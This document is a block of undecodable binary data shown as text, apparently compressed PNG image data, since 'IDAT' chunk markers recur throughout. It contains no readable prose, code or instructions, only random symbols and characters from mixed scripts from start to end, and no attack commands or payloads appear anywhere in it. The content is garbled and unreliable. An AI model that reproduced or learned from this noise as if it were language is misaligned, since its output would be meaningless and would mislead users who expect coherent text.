o^ޚF\i~*t-3E~ySGe⯙G~I>-?~0Sܩz~^8Y/s|ńmRwkz_Am6s_>^,wx3<緜jN(/?57Ulo0ê_^0ӏpEu8XNPv	'cO~[ۋ%+Okɸsf>H9c$)'ʞwK_E<79}G~ӻ|Ӆߙ;dΊ(p`KלWy"=ǼЛwNj/;?㦭K/C^xDŽ~95~r4Z/r8+wq<M;	+VtǍ:,mן\SWy?.oxBg/Ӄy_ i'bg%A>o_Ayr.{P'*i=}2—Ea:ׯs#S	W?ZJ86?x7
~ÉGFWyH	{9nsxKf&g৿Tx/}#^^k-믆!`n]-~kl_`y4a(|Vyx'wT@kr
'#2._ršsVM6j?glOV`*[%q~zrc
1c/B9N\d@IDAT;)"Ӿu2nqM_g57[H8.o嗮Mԟ=p\s5|E~d7o46gi9*;y;:|s3)3LQ|w8Z9/;x~]7wӣ}oxF9W|%wK-`ZT9X̹bUbQB)"axV<>g}_*eA汰ڲ
>fg4p}\E#O?C]\j:2DĀ|n]tv`%_]Vp.oJ3060	X@zrZLG\+_<_cT
g)	^+ď^p<4^ٿ{sKZ~x6wX?m‘vs;XӮ<Mua9
榔+Y)a;~FI?SAN);&ڴ-
yH?}?_힎"jt.LuOhLi;(m=XmE+ќͭ>g7vDQUoX/c%b[`FҠkLodTHuX^%
A/kbj6;R-sIga/5u]_k$Wq1y+^)v̀go?Ӌ<lV/2Ӿs7Q,8xq?Z";ݝUi|[.N3'xlO9<	(U'{(PN<g'ɩoa+șmWV8Z!qv߾xUϝkğ 	I#w֝.2.>+T4?+!_8+9~<u5MCg}2m+4;>Z?I߸&=9\ӶY'՜_=}'-{4))8oҚ譏Ω~+'1o5N7"e;QMo{zTubl65-e߶%Ygx"r{LGwWޱǰs<^,;՘ku/Nη>J7=Q2[{1YNϦ+-뼧P]=)>l'C~Gd6K;szs j?
j;,4_a3YK9y{1Qgg|JBºܓt]OVKN=cNp!ݴڨ{ȞoS}99u<A[BnҬ&__R'lZS?k"W7ٿ&-F);E"o]
hzڤKHC x՞ġ^wʁ@?WOJyxtg[39%a;	+3NJHRޑu#wkԄ}M z>nPiOa<I9?y߃+CNOe
=ɾXTAqNB9GSb3ci=QzEy窭VJn_Bvឋ;qFTq*7n|3Pwzm|i~ܻ%B7~JX+rNqF%z\״0\7?:>O[<_8ow<N:,٭WScI$o}up;Cw9sR՝_z_hh-\nM{4.|?7u `Q릿 RG09K7'>8V~U	]}f_';9or~iˇ5,v͏4)?58n$w<[18ť[q;4ش9r0q\'M8}rW*Z?4&HZg_mk'q/T*sg;(TET].StePWWS3eG
Ϝ1=e~!]ȉgҷosq9.';rI\o͠@Pg_yJ8X]ѹnt.~JoXApLRw:/wca<ķ<;s)5E<[(?
;s۠y⃷TZ꾌ɱ_w
ls'TAKr[a}z·3&j o,/ pjl}CѪ.ENs5
)f㬿Xv{yBY=^
|Yĺy_ڧurwvP<
S~/<?a/d=.WH&{7~Nmmp+rg=lo1/o<:
7	)5lUC&W01l[rdX<ks
m$4l
3)vޓhOMi$?ӥ1F;7^;G `;e$ाbIou%Z~@Qzw_y`x:J/#y3Iy?W^~9
&zVm@Hq">]QY1.LkGghGk(~Rs_?H+6ScY7i?4~%L|*Vz홯K<l<;ZG
O,l%ezVRA3)>$։jU,cNCּnDq,ceeIsM-R!`rzDS)Sy[8/ @{> l-e(@~5]huy|vVgk?ӵ/ל2'cv8}~AxU3_)l?bm?ZʍȧWL1Y嬔Z ՑHa`3b?aYyG^WkNQ~Ys/[8˿;/Y%hF?RWj rrQȽ`svϒehu
gx1BպOdvtϺ{2KJ?x7ʬ.yS?bÏQ
lij˙hTݚ+­yr?W~'m]÷~t7끦nO>鑚=3\kgP>ξ_;Oߟf/e?zCe^g~>/)0jKb/2#=Cz"0ݗ0~5'rɗ/}D>|srgZ`YT,'6ٷ'P~G)9
w4If]zyQ㣿W;_=rL2Za8
J]~@54XgGwE@_rEs}*I~L)zrHLfޙp_E]ϙoo
,|(|Nq#-jњ&{ݜ
9P߀֢lNΛ`M;#L
Zjm}C׾^M;Y;#0AWa񯣤V$V+\1"dG9G_IzhLIBs=Wg6`kg#w`Xaޫ̞OV;d~Zl>8x9♟3˧O@,'LD&ryLϼ:?Ď\1!cVCrt# 9ԧcdug@xnD3/RYOgj<l{RY/wk>bPX>ΔtKgx3#umys:ǟHy*oԸ\TƟ*(M?Ds>LGOm[ƟjmKq(𗌩1#^A{{MUG!yg6e-~3s7~,!b陝Sm##S?_͚Wk~tߺx۷络P24;aN,)9qI
b̯
dŁ+d,=]^tD.6U17\xo~=KR;R:~D+jsP_B'z$(Oϻ~?쾇s|O~_ΩZK#ez\~R~΁Ynk)IHH'&R!sHO)Ƨ.zMMfiWoޮ`QZ;@SwD3NoFG/DY)lw׭ŸOmŹ~?n|8Sp7@psHć'JX3-l<0*@}H<7`]
Z?7gz11퉐Q_[.C(JGEx]Qʞ-if.A:kl^$[ʩp&uo0'=;M44fx\y7ӏL'q
oh Nǟ{_<P~ܽB8,җ}0az
ݚ`ț^]=_[x>D\8Tt
՘oq|YSnl
ahm|+Ƚc?Uϼd$xq=qklB3k+`ܛ/q&m#廷^w~o/u㻟]{'䕠WTo-uc1n&[SJv ?iĽ&bm@4>I-{ahAtyD-xTOm_DSŅX
Tx~u~V
u~ҏ=vR~2Ù8X>5=	uQ*>|{xUOïs'N³v\\ĔwMҗhqQi=b[CrsYj5BSR-PҮh -y:;v{S(	'u)ߤP{I`%E'f.iCj-U>X1jl$K#y3$dXOp<:hJW632
w[G4c?eYsuw&89n"6ǒ[j^1}GĒ^P'7~0+AA-x'kOhZ]qvƞ؃UuuAX}6(-sH}lL}ZWn{.2G?d>b:.pJ8r6!D;qhB9OŻ,ZG:
9s=;&qjz=RN>E~ug[@0aoG|Zh3÷Ji>;jr{q`+Nҷhong4:Ĝ>xf~9|漙3kqn鳝=?Z˘/ڧU{G[2NYzcY~//oQ~=D"f-t9ZXFOSֺi燙x~K`	ZfMƺokU9S4)~{.1
ʏ\9~ALrRSRDb9.WWC6?7FG5g?21wI_;v'G;?tj۳ىSQIK+ʓ4	pԑPF"XhBw"ƖĻ<!BD!",k\wBr_]Bo*Ju_/d[g|[d#c<`
VgaQ*us;jLZ+yc}?Wr{O9ޣS:rxbgu\˜SȶV*{r=\/pnIx〳7lG++ܼL4?}y46zTuyYltG,k$!ҾSIhN.1\wQJ^rA<4R?b73
=+Te9?,F`L/NOՄCjF/ďUAyDAy22R|x9#Iw^q/
{;PQ2-E1O]ȝuJ{3߷M(/!yLUx^lgoY@9cĀ{w+<N,t~5\I䭳!%<d~,fo.=2F>il+30FG{~n8`炙,G-~Z~`a|&GrkXluǚgsM!	^oEL[=#06h.S{Ş_&
|o*n<k-(5gn$̩`s{thyrLӯُ9x֯xz)ttu<j[uE:Y[γjJ(߫=+0:gL	(mo[˿Q
oKZGܿN:cTڄ7fV1o9{RԧN%0u674;1`3?.[3,oo
Q&GΚ/-ۦ(.
hN@D'F?ٗQ|N<Wi*㯸b&.KS{_{?wק;peYS:5g"/𙙖Ʒhc	Q<OǓ\]SS;yP^#	r&O}Ϥ/|e8s݊?i/n~P@#>)s΃Su~/@\Y~^e86fb{pWK'fo/Ʈ4z|\K8%zF5 㓜-ijopHX;|nű+hvMhǠyLl᯿$-n(/OT^?OG
feJǁڿ%{O'X^H3ɕ?p?Lt:"
T:n*=4FJwPݥ̤*s?̇$hq%9P!ӂw(^L&גH^\?Ǫ}8ke]Vi3͘Vpr͛MBVk{Pҁo$bw
>W/](ʋ e٭StW~5Py]߼Q
4c>,BIH9ߪ”qZ<#2?tV3yļŃixBrHPԕs8ͅAnOsְzL]塞@h+"#ٞE%H~窃"g2X/}w~}jE6tױ0h7
5?a>tk_f=)%lTt0v	Ɠہ),g~uiBg=ꬁi=v&t%љDwj,qڧ ]>%mqwaG27򟾠+Aa_CKWZ6c\V~4w~uw=O]רĠZ|KܑsZؔO/nS.*Kw.4Qt[JxSiG~0AFӺnU9I4:86w6wx-FG"zPA:M9㮠SGU{ayV_@lBSr5)tr
BCw
P	#⼿8hp󞳟T?7˶$W~߁-pbE/lnNe|w*,]摴ga8Mti~ֱ͓_o7ø@q4?:[x&ngOḇx9l2;֟-]|+C};Wu3Ȟ#l;YS	V|Az_-v|6;e^.n8fAxۭӌ?+,E(:?_]"ak
qXC|<spSqo)/U+mH\߸o~5O;<4A"?{awJ->k*Ɓ 0_^|<>Xv=_te]ܓZ/D?
کW<pȕ?(~Kz*z_X|]m<w`na9sVgZnM~~8=^w³">4͏/ߴ{f읏4R4`SŬK^=7϶Z(ߺXYY$[jlǽ;lcSGG:rf8HjQw!;@_o~Bbt\+C;?*@Xk+DTg~&<0ޟ꡿}{ϺK03лs7TEȮ;5N>Cl2wgچ
%7
A!Is8os),P{>ųJMVNmZ4kioMnn]&k=3`>	q|cuW^
7T\puE;~A;?N삡gs,>q"ٚ)
<u/f{
Xj*n/H;RНN`WN[t1u}$gؤS]xϛoBxhk㥎< =={B*3|yexfnƭUje?U\wihW"!NZC(V!PWҤ/wZݞ[kj#^ 
֦KkJ%wesiV;\ߺ}(OMst-{>togSӴw[z#ɜTi_l_I	d<?՟}|m,AMB督Y
ܞϯݗ5m"P5u<!gO͊fW$Aݢ‹5:h5ϾYVM>j)|(gg<E)-6:w]2S0?/vaњ;7˅[.wSarYн3c'ӓ;M^b͠_im/53߀ԀmwC\#
¹;%}{qM\-"|J5~sf징$WLgqM7g7V|=n:nO|
xK\oL6NjiƬI?to6Ƀ
8;
MQ!ydM:#)_q[M;+<ßa|yAHO~ܶ'ĉ6/ߏz6g'f0*;33WA%J/z۪9&g'yO)s;=&HVkd5
<2V6tZ'JEH]ȧx;)-?r!?ú_1,C1יִxdv+:qA7om<Va>ǀ~s޺eؚQS#v_Mґ]A0E)]UoV8GWʾ]y/iZ{~:7?k^</ )ST(nOrWm{uk}|4n:Xnu{?Va6*~ثk̼j>E6
3!iÑ9_$hn?V>}\^3pAXKDP|2hV);"6JCo
)iLd=8x8|wN7gGo#z[r[ĜLn}ں1_T{Omb۽k~s<WrnxH<o!S\bo!*:|+{M_qw;ao~-ńCRndK5)ъ?n??7)wϡ`~a[j򰡟8t~+.~X\V2"`>d*`[=kg/=A"잠ktmg.#ݒ_G؝Uy'BvF[
]qi_QUD:}}bH-Ŀу9qVvj?|G~ǧ!}lx'7k,nQ}N"F␟~9xuLj_LU'z6r[>^oTm<w}7|֙{w~!aob?~	E)
ri0wrƇ'h\vJ]89Q9I?
BSA_{Xw'eW`ԟk\kK }x~(6R]W3+`ksןL눿6Š^%1aiKivNսzKHpϏvo%0Nj,pW~I7k/9a?\O_B|:*#Tش5Nł_MÉ`¸i/@7\7tLj#BSu<t8jXku4u#8\cowA)s9RV{j_'Wlo䪝>Ԡ-93O=iZ5T$jbz,n~9X7j ܍L]h|(wh뚾"f92G Oas6}XΟ
8@udX}Ck<f?
q较2:J?N-$Ion@Uz|
wZ;$:tq7`=^h]yQ{3DN#+d%.&F)RA@+mG.w=J{%b[5D~D94CgH\/BO\{LN.T"2cdX-FW`B
0#>an\wh?usܞA!r;Yp( zsMAr:s/OGn>8(mfKVOpv
~Fu 58_ɋQ%S*~爾Exq9ylSt;:~%f5yV
_3 ғkt)m[7UѾ/)H:6A~~U[;]z)L+v9L^IxȆ?pÖd1'gao6f=|cۓ406~rZ_ж+~uNNhip`aM%5	~-&̪H0h@G|_$$1-HDsi<rN!跚\KˋdDս)_Gyȵ`+1u?ǖEsɼH332T. 5<Lc-WrP)}ןt_Tcsjol0#|o.AͻY.:<Yg }fW)Cj|~0#jY:9Q~	lXoxqsDCSɼ@-	kO:Eqj6U9kj?h"D7b>E/!G|$83|?$ha5]yoGK8ViOw11pC9_ݶ.o{=0x$a^p#is\Pp\REeoXomK~i7;0Vw?ߟiOBWƔ$P4OۻSWi
(;?OQH&GPu[FDpMǿYTJӇIVj4±߯d<ޞT ljtjS{\sX9s.@)p_RbϻBi+s`hK!&s:zq:9~2O߉QηͱZQ̭3~^8;Sq~elA
g4lz9=Z|waBsݛNY_	lTcXg&dgV)m̂YQ[ԣ8l%/ӆRt1"Z$/F|n#VTijZ6ƨMpMaKr1a=LndqW3)+SO|=X&\8ko[Nb5'r:a_p"͑	X'֝w<I_n
h\=RF*68)^-ûzx	מyHQC}'3s2
rYԱ&Ғ/7خ٨Vȟss2h*bO=r4[ SF(=dݞ|o8*w_Ӄ/X;;vk3]U
zܥ$ {wlǗvz$ɬȐ?,[p-X
X#?^ "@&t3'C}=5hzEad#k͹1n=Yy'pM`Wğߢ~bOa~"AdYA3kp?@M!w֗nB
O
_49Lמ"oJ;#s_ƴH2ZL}@?`@b)u?0Vi%Y^HHoL{9d	;t:ɯ×33A̺si0_ ^j~SJ㈎;e֯V`wq\q"NQ8
\M篨:>{?"zPm긙/#uJv<

ZL
;p[Rn咛*P/`e2O߻-ov%eDz_~&WSUN"`>W!|@kcS<ǴȌu	f@i[{}N=Ș`Y#~jvjk7}gN:ؿ|?k~yϾ^
jg!mRv|!f䎆y1ዌ(]F%OYo~D@-cGS2ɍξ:<w]!ؑH4aoPGA5@Cg7[vghhQ-C5a'tO]Wp$
H<dCׯFa6r֘=tGuL|70N<c'u
m;)#.:=Q+]b--;;)aoSwh	(n`jnP˭O\'K12Ƹ0o,
pVrDgbiO{S'6$؇灘\u₊gTl'EVs'5QsCOJ:lWxKKJq 
HW(+tc{/hHAdGr5AYBfҳv""_3c$U(T͎ߛ%%Kh-#Ppn=r=:Ei;:Q)[e@k1DZ9ݰP=Xtyqrn˛K&CI>ό>y
~}:
u
 D׮WooWW;y;^ɿ.csm5/F3G#c!Ɓg繘G>z2@?W?W#ޱԣ-o3vNG3]g3G8!*7p@Mo=o=*aLy\k;`Ժ,mif3C{VA*?ܾwOXͲ_r g:W{fҏOsR}{}iE	yǖC|i}H~tG
]1p*{8Ԥ*o(1t-Y_w~\2>W>=F}я=gqCi1{G=>Wg`u'^ǭ<=A=}_9;:z}QɌ8OH0j_k^6?נ\(F.ݰ~3ݙW8H,S73̭J槃vC\ğsiDZzW2Xq\Upn~vO/Es[Gg?$T;K_ls&WRJ-gѬqEBٌߺݼ5߹zY2ׯOv"z8Pġb*@ěLdLnsdwxԌy	?S`io\N:7d<aFCl	ۿ =ώ+tףMkBUYrJD|a+eZAcyH#aĩ
Wxfy	yʗ[ _ޱץچI0Ol4B-"8B?3?OPh_/
dJyP@psgb$S#.E]ο{\6>րk|DR~{C/zV]7ġgȑߝܹ6CyqJs8yQc?8<P=dϝXU3A*wX1'6`IGC\{w(
$Cq-?֡!=>肉7o1,4Z[OdvEحrx|J+1_P@SObPi/Uëse;wj*FsjH]:|w<\{.9q??_M&R`$W$:JNM=NF
G?dhO:H+ڷo_W?QO8Xo;bYsu$_+n?p?@j"Vm@_M!U9ֿ1_Ay~)@}@IDATO},WRǖ~cSR\ַq?5VGN=r3ᾧ҇X|+OZO9bzdš@~~'OwP
hO_`?u7UAl[*5)"a>^f
XI^nM?f;0o(tg΃:sti@<s]an2Gov,BpuqֽW60X5rK._B{>5eexָ?[|i>VNM/ƿ?2|*psղ#Y'¨@Pu	qL"
h%\~HP-]ne8˭tHIDg,|s[މx8q	{$O4'[mGc:䧼׾NIu9ϲuulOIe0]\pnj⎬oz*W1TK,`rrVeXOEogBH9o]?x{Lqe>8_<H9(lGO`[@ӧh?:|1?߉wv|pf,A]q;}D:'rRxH@7'ϵ
~;^as+2JJNFǒa`(=?-\jߚd&Gm2JNJ48Vr?qw	c6+&Ov>bƺ_La	?-^8\UQ	rW7`DCj{ypWu=ȵ\s3W?5#h(aLW̏O""$½#<g|yeKcVzHpK"{*ug؁ۉf	o/x#>NVY"_bNG<̮Ii!%~\'8\F7LS'[OƥSdBw~Էop>_	rUIBs?j++g1-64w¥:w=N\y h??#3R.$K$p3%٧~5-ѾlNzωZɟk	RWI\~և<<xM(?	yAVBio?ֽ=y(;\y}==qz+3'\68 yAyKSQ<su	>R-%W^Y
|HDq՜'45O
[W}v3cOx
r]h`M4aOQҚ饯];~<%)xs{-:_/n{V/>&{VN!|/sƦǵIҬo?*]{)\,|Mixp\?P癒\j@H)ZZٍ̝
XOPX|X:5N?֨R/EJ>>sߴ<K1l;-k~gEV8}QƵ΄ֵdz\-[ԟ}"b$Gdמά3A(%}*zbzU`5-}UUdSO_.@}p&
P1>^\Q}g}IgoSRQy
GzJ͈FZe}vڮ4qvf~L0XW	f܎E>} ]S/K=}u%}p+7}-B	z{?	??+a===0zo)>S$s@~wFOq>T^!߻d#vjAG?O;M:=O/ɀ[/3?[畄;Yt١0?6sſ!1E]1`keW _4 zt֨5
svm14	 &{OSzkX@t`{VITD׿a?I[S-_|X362/,e_@rL_IU͆ێ&+)w#BC3}~b<
Gw(?RW6wzY~^O
3GA㡅G%G8e\7GǂЇo$8ƪ+fǬ~?b9g,3	~ι:,SR󝪮y<	ۿӖ帝;y/Z\¿!j0`iFwv[ZmLVT)VGO8|r ysKX[_dkb@þ.ϊue8(4)=~
?%5/V^tCQZp|jiEyV5՚S_bދI)=͌d	Z>O'fަOjPoRr!fuf}As:VzS4N%ލ]
_)z$yf.}V7O %Ӹ}
X/߱w|NnulM[P\])eg6}T`]S6N1g_j>{UE?q&q}Xts7n}L[_D{mSԗ5ޅEνht
XX'ebyK3g8n!?Ȁ9U*zYP+װ=Yzv}ä[Oɢ6_̯i!}[8H`<֎{=tkr.|gzoZUs&gÜ^V{?^R=Tq+W4w?MWyfЩy(8]_SZp!aJ}"bxO{Qk՘Zꎔŧ>fEd]@l21u]zU
tݚgBƚTj5}k٢̮Ϩo<1,N/nZ'S&oM8V9<Bs+SФoL] >\1hnRMm<<@@+0K)פ+4-t2# 9~ׯoOy[Z^ߴnrkյH-55pu<hMhp_Wx43!EQ:]	wdɿ&U8jpC-8<;hMIV74u+^$ΰ`UkmqO>@Ә9u=?;tR0+(
ZkЅQ)E@GM]㟨kw_yz~ydBH_Ʊ&u[Ӫ=)g\sptOYqGLMy{;_$C˽D ^Rǜ^d]ǼxiyǯKɼъg)9uH}M{O]?_LV|,o	myhaE7|ҿ{y_ǩ.oKc\ox+Tv91ǯnؤNMV8Aػdg?W8΂;_":-Rݿ2h3	"z]}샕8ۿΌgaQ4oe_$o3`\Sy9gܽIq}7[
	,pLkֺ#/q<wŽxfa<o/&>ZQC:SOϿjw\[}|෎BrrѠ
5fgzIrg"s
?="drPtˣq5?@3/|6q}^קk#@'7N='ϻB*u:^zp/ݿ3G ý;1Aת~kWgf{5il6˧Mu~PhÀlolw~5i}ԚG)^9y{J-*֤=sUpI^3?='g=3	,25+"WzJ'T܄%F8VA&~._Ż{hsf75z
7|n%glu-ҎYP+ɣzBi=S#G=+pu'^:|ӣa?4ƨ7Ξ0$G	YKLSzsoxmUTŏ,tf[cD4d?-t_ ɞ}g_|r֩4[kcm!}7o}.*Q]ӽo<zjL`WIV̱OoO‰_>RX|r5)Fy;^l&К#kpDЌb sN`U*ؚ
94 H\?
k
zjR,}|{sMjj+ez=NxОld`W[5ݿ	FqPkq}	.c[
55|orXK)vkYbjWYC\V*ng(ptiN]O1gnyeߵtp*>܌u~oi6KJ.cNy'yry#zsϚ8o1q3U
}v7ށE?#umɚ\s?(?}~;=jz/LЇ?Zr=Z?_7~o-|0+ /ߜ΋৔!y}6OةsL_?,ymmyboٝ0{ײ gNcعS@'̙9&{
=[t8ȅo5ab%{l/_&~~S4ZL7ξV:~fyei?qRHw:Z	Y|hWҳ	}`<uzr7G>=w+q#s}|qsV{7n~o:??DŽDpj#羋}'/_OJzZ隆k!R&55V+_j7U<ǩBvrǽLfZ±a걎>_[>ms~\Ab~OX~B&vX&ԅ~Vn6?f1I6z?Vs
X]&:+@Tf
|bǃY>=LfJ޿_o5,9{{
\}纷³YoN'|Of5,3-}Ba?Fa?Jr5麞U=Qyl5,Pϋz5ܭFiC659z"/5!~T|'G~W%D^~f_c6s3BgjnyGl+R3*D}y_dk`1=ZS:?D٘D[v8վP-t>e!ΓPn(9
y8sȊF8)5+#|yQWNT|qGܗ޹v}0
>JӀk@\Vu7e+(ճoq/sF
3?9Գȍ>CY;@$SХ3VK-ػGF\D8c`
ԽIs0uDoqxla=畹:瑚WszDJP o&p_][ZT·B3"$|{o%܏s⤎q|Q?g^ћO@y~$Y?M=4_zqӧPN ΒWs>GD{̹\r??%OnΫp=Ƞ=7bq_
x1V>ߺ确z/oWoY	tQZo}Ύy8
3\x~?_pAϙZ|`~q|`'(.Bo3W߳ o<Dc6N#8ym`|3++yO!*^W#\bwx~@^g:}G}AG$C?w"s:l#26ʇ{u/jnͷ/#9?W:O&gF69Vp:|ioXud`ߗē]?p75Q$$뭰~ބI~<"w?}zEW2Mx;V[sȒ?NJ(OATQ7,u$	4xm~ҏ2"y?0oH0f+ܳ=9ƾ%&Fڻр2[#F>)so%F~<_{E.<2pOcգH
EiX۽R%Mދo0)|eHuO2=%깓xiP|uAF1>?9/K֭f01ik줠?>eXoqXY2"_d>/grw
|?2N'˵(W\]j`ke]8{	/>t Vy\y7N~?'OA,,}ZsxQoyVaxhpѯH*n]F(;[UD r<PI&1U_}xa@j9 <fI}v/U>:GR'KʟضӔ&roB:?ޟ;K5g|)؏O.,GWP|Fz*'piרD=vP.	DhGh7}p#?9)WˮxcDž9M5Z=1m=kTC)P
̏A[Rx~?3j{
|_Q<7Z,Օv+/Jmkj<=?g{.Qw;&^mvYlWu<Snl9l|Yѻ?=<ngp:;㍻*K~iI6-Xoxn{~-z}s/?j:՞z,<ø_4ֳ6zl7tλ?f)/y~_ԟ4.oIDVLuy_Qp[~Zعfk!M(&p{),	gw`Wm3?~G@WTN<gviL{)$e9y؁
-׿r^ܔ:?|y*oIFR;,TQO=υt?Z&y<|;5vj)_=l;_~,$֧[ٷ2^7o\"C?Hj
<nh[}/=3x旣|,O*nlߚ/ah;ww3p=_LAXI#Uͯps/ߜ}g>_Fork3_͜v3?qxѧķ銄w7O|܎gO+S\рrR1_=5Gφ<
saHnzt
t=dhȋ;@y֐p2p}6(Sl>ڦ1b6oHPH~9er^&oPDvy)/FYߨuS¥6C 2Vo[yZlY m/n/xQ`yB9_};<ۿ@V_GMo7_XEޠo,!I6#y7w;XNpfA0q>O=sˮH|kn-_lIּ|kko4i='L'D|gD>OhiZp·7;Ȭ3p_=lNˁj}lw}(w$x'ψT!%tz.O7.(s}K&S}Cqaʕ9ц5nx3>Y3e|N,gΉy(h56hw>q}){*6ܢOk ~tPȇz-^59Y)mn}-5{?!"·_aT_ͷ~"S?OB(i_>E)(s=>sPG$gnt{ǿzޙspȺr]*vNm3ja:<3Kx9[#нo)	Xcb6qSzd{*)g^SQ^|>gpEOgc׿hsorO&*~b<m;{{㸷SPѢơz3y';bt64@Y\o]\Iǵ3Ŗ(nm̏pth45'sc	Y
g37G̯X-¦3<l8Uaݼ2JH_8\oQlA)Doç墇x'V+9o~7vD,fvW֯R/s}H&@(?a;Vf2g]#qf~9L}f~czlcAkxϹ瞮Qn	9IlSƆ%8pO-s$b_^u/:qZߔӇ?AQK>ӭn _WK֡W$aS >7}[1L.n98ރ8u
Caxz.o5nz6
rђ);ց՗*
&Z-@rkDUE62EPR9K܂>|b\lT4@L7Gnv_-S-OwfZSV\ʬ[DߚA;
Әp{k_
T=D<(6v}\8pDf~gN~-O3Y<ՅЌ癄h LM+Cz;gIy~=y.PH*HWe
QM@~!Sn74L0hFY,WhBѼpox?6 x/}	1 ,ql>]LY[ qߝO}?V
ۈ^40,k_5u6ߖ{~	|_@ÿqe	NJCqk<U7g3Q|6uy5NEuL9{i֗K<V˷=D"lp̓O.cꭅΏ9Y};wut?.u#_+5fV~R%#
ҍMSf`+pUTDXOa9q7ԧ]U<G&5{bTzoOA|Z<?UWcOu̮_cɋY)tg&[[+$E^D`O0j(U=!mT[a~r}o/)õ3>Bo{>٣x%j$tgP
*٧
TaD3/_rǜr'>=j>>i
/kj/U~tr^~{1E,Z/Fs'?=~_*ѴA's)oa? Rqv꛲&Gbshćͯu#
qF`}T8<9~o<ee<m39{3:4@|zB\d7~Z1}Ryahi(`V=օf6s
D2[Y˝
*
{qOӿCwf:9>C@T@_OwAm~!?'R˗_G#o
~^/Wj=%-r`O8^=čs={QLK6jy^,PfV8'C,=$Hy3iiX̿yy>82ZDv\W㥝HBI]<N+Ԍ
8Mi<mo7f./׌yaàޡ{Q:[#c@6?[˸n]ш렃W@AՓx\')G7˽%Ϝz𗉜)%jq|[o#\{lOR-spV}{b>{mƱp&d:3nfOoE<RVBӋ=S.F`^ŶvbrTԑPP7dߛ'	ymଛ#U/OuN"3[=cxtOhL (g43
jW7~yt͂ĥ<-'Éi<9+k/oVie-죣
1	я©Y5Tnw$D
fQ:O	ϡ13mʰЖQk`j9>1G+h|{|E*>,9B1yh_"7W?؜E80uNIrR?ns9"ta3*ǵpyS7s͉r6DrZ3ǧǪpe|E*@\sG?u,zrh[RLSݸqu~ۧr~6Z㥽.F/Ns|{;l}L'r9gϺ5<jfaYúe=i㰒bAŀ:~~IBU*l(9m,k$t3YwJYbjڦ-qs]g68$Mp@Z}l}f2'~65zﱉC=w7Pfw|Rh3?:'X'4:?RϪe	'TY8`e'Tc!A4y-G>:RL6ES㩏
}$9 }Շ	{R̯$\0v39{@U3嚖/m֚uy m·t>#Zi7,y"F^ủ{|;*;aWW0	̾]kT/A0˽dyebGr`PIS<WK{czV@]˯wE{_60-F[Z
Uӌ•)숑HfbIq!SiXs	w=DC|pǕnr	seӫu	:,3懋2ҋ>
{sw(5X`M7Sc=aׯZ)=aZ>M-N%EdP!P@ޫ. %7OI~
|5[_mhMt=#O+Bt_ji
^e\V	֗@+;lHM.<|@,b(vݵ<r}9e
HʍgЕ}#a(1^_^,'mߑE
i$3?Sht泀qtaNqO>:R}~tH)i#N?UH&t}0\T>xʼn{2u<x~̦@ZycsBi5.n_U?B3"MQY?k*GǎRi6;t}K>>g+/X0X>pv}yط|$7\OEtXCG?TΆ›A}bNmT3;gj3u	C߃&|g=3jF	-ޝ#!{ڵТpKTO.UCm~_ޏ/Ϝ
MkOlD\ڒ"ӿsK*U쬎K&x/ţIﳟbšDy4Piߕo, ߂HIN<\w>~/Zy~Nhgts$k~frT8C1U6.Pt.	<c:
:\\l&kz<>|t?͈T;Ls=9`52[
msR׼@6SXϕ%:l}f+"vV.z8߾>̓`rS3F%DUڙ>Xwк!CoQp	ăXO`;;65n>aՖSe#4x}pnKi܅Iׇt3j|귎a Ze}	>n}V.Qߓy&Zt\wu|SZn(	\gǓflʯČmwuEl)WqO9ӭ&VVj>F7[P\jZaYRgwOЅ1
PWbk@x{pn4X˝uMm-~m q3]AwAc
2y4-p*mNn0}:1i.5Bն{c/"p;2C{?R'tPn'5&+Ǵ];wOsLOhk=?)}^K53/
c$gS` I<Bg~2)riS.kaJ#SPc/)L;gcOۓ>ٷH}YOʈ|}t<u-V/1aFb~
~Gtn\^\/Gct3R=RE}o6?3JK𲴓1GuuܺM_,^!J„tL	w_G^"s{`+lյa_ט=
6=5cKg>(2]7һo"p/r]B\݀u7􇷠kQ8X\.g&@'ts}^IqKbr@QEU,T%WTMӽasNOƬ(gC.LIF?cos{ꇑWm_lxqp|2:ɻ63C\cf.I፣<G5oe)(ߥEJuYUIs@^>=h:Vw|ޟqTzYuc3n7ro-j8M
~b۝ӋdWE5[/vR]?}?y{<{6o7ۀHVeSu_H\{]rYkUkvhN9j^HwGAdn4h8w֕d.y?Skݼ?=˭kPto}g~f|6U:g\ޓ<g;['u|tֿn5o
ju
Iw5/W49t̲H^l}F|㫹4ur9~ygjDQ^/[9~z̏Qݺ}~2c}n;OZS㞶W+F;MtiHb崙C
6an7/ԝSk}Na:1gyjD?Ϫ5`ov]?jIxF	!pRy2k8zb@#^YY^Q!(+Q<}D xX]sKֱ[Q^Cc|]c#cʙ9x"Bl :in%zc{߿U_:ɀr۰syW:nzL\vWD	
W'Y"fR*Yb*ᛪ+룪x~KFhcV"ltOPYn͖.ݻSf7Fk=En{N_r'MW׼0wwbN@sB#Oٰu/סFYp޿	n+tyO|{|+)]hSY:c3^xrO@>aɟ%tOd!3QܕvXNClc񒦻RvpfWj{/Vi;s2p#vqr>eq0i9ۜg3`x̯HE1֗xD8gg13oGa(5:-.t<c7֩RxgSF8d`??/1
J'>>]ozR}J|kk)sNb(_ooXNDJ;M
5!LNz?O<+?]?w=
\kiZo"bAR~4HSڻ`7(XzU:pm#R
Cj.We$I)>˰zf{/@y-"5;='V=iߢ>}COƫҿ)Z5l3{|p/+0Z}V5Lǩ+?2>POzIxqw~5rւ@ipӤM'o< ^90u8>>FФW?2ν_(Ttg>S`]R<W _YWeSVmL]R"ȰW|_6WG
!P_·
}j,TS飪fy+yJ;Jt~VkF}0kY< }ag͌rƜx&_"POH& ~Ӏ4cOM^AG#Q7Uhr\S30qfǞNA;?磁?Z}TO9C8&P3&9p[]#5tգQl]kԤ߷ۘ{wrsLgoK\<Wk@IDAT%@z C<?_%xIG5`e_jEl=-O-9K'QoVTLm<3`\x hC _0TS\`M꽏ddq	mS
=hX܀3`Δq1~G)|#j^yugc)K*;0sVJ
ULR~>'MCkρu{{6ú	K;)jj\NgnT:<VS:6ђ@ϯ\A>؏ӝ0>t bޕ
)n(upcKv``VC{Tm[s:oyFe<;$ȍE=~#+pG['eA+^m[1Of3^(aʘ:O4UK9Ln<rܧI.1^gDr{<ӷ|	 IG֏w͗čV=Uyr>)nVRHjcZc@oOQR^e3Y`UtL\7G=E:>qcюbJ;!UIޫZO>%ߠ8#m2IB5UJcg&1Hpw\
(aK.b5{N2> 42y.Bz4O͏{";=sI76wk2$.zܲ'0tž7斝o/\f~t">(Qk6_}^9lA׏
%V7DP>,@FտZ_kNJ
^բ1
